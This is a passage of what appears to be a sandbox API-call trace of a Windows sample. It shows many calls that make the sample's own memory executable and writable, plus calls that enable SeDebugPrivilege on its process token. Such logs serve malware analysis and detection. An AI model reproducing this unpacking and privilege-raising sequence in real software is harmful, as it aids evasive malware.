NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.262] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.289] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.339] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.377] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.391] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.451] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x28, TokenHandle=0x1eb8f24c | out: TokenHandle=0x1eb8f24c*=0x350) returned 0x0 [0344.457] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.469] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.600] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.723] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.778] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.789] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.846] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.863] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.878] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.941] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0344.987] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.005] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.037] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.056] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.087] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.107] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.158] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.210] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.249] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.300] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.331] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.351] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.381] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.401] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.462] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.484] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.496] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.535] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.551] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.571] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.581] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.592] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.623] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.633] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.649] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x1eb8f240 | out: lpLuid=0x1eb8f240*(LowPart=0x14, HighPart=0)) returned 1 [0345.666] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.720] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.748] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.774] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.818] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.834] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.898] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.914] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.939] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.950] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.961] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.977] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.987] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0345.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.046] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.074] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.079] NtAdjustPrivilegesToken (in: TokenHandle=0x350, DisableAllPrivileges=0, NewState=0x1eb8f23c, BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 0x0 [0346.084] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.095] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.120] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.142] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0346.152] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: 